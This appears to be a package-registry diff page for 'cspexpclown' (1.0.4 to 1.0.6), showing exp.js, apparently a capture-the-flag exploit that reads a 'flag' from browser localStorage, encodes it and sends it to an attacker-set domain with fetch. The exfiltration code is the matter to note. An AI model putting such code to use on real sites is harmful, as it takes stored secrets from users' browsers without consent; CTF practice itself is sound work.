cspexpclown 1.0.4 → 1.0.6
Sign up to get free protection for your applications and to get access to all the features.
- package/exp.js +5 -5
- package/package.json +1 -1
package/exp.js
CHANGED
@@ -4,15 +4,15 @@
|
|
4
4
|
try {
|
5
5
|
|
6
6
|
// 获取全局变量 flag
|
7
|
-
const flag = localStorage.getItem(
|
8
|
-
const encodeflag=encodeURIComponent(
|
7
|
+
const flag = localStorage.getItem("flag"); //因为从localStorage来set的,所以要这样获取
|
8
|
+
const encodeflag=btoa(encodeURIComponent(flag));
|
9
9
|
// 发送GET请求并带上Cookie和flag
|
10
|
-
const res = await fetch(`${domain}
|
10
|
+
const res = await fetch(`${domain}`, {
|
11
11
|
method: "GET",
|
12
12
|
headers: {
|
13
13
|
"Cookie": flag // 将 flag 添加到请求头中,呃呃带不出来
|
14
|
-
}
|
15
|
-
credentials: 'include' // 带上Cookie
|
14
|
+
}
|
15
|
+
// credentials: 'include' // 带上Cookie
|
16
16
|
});
|
17
17
|
|
18
18
|
// 处理响应
|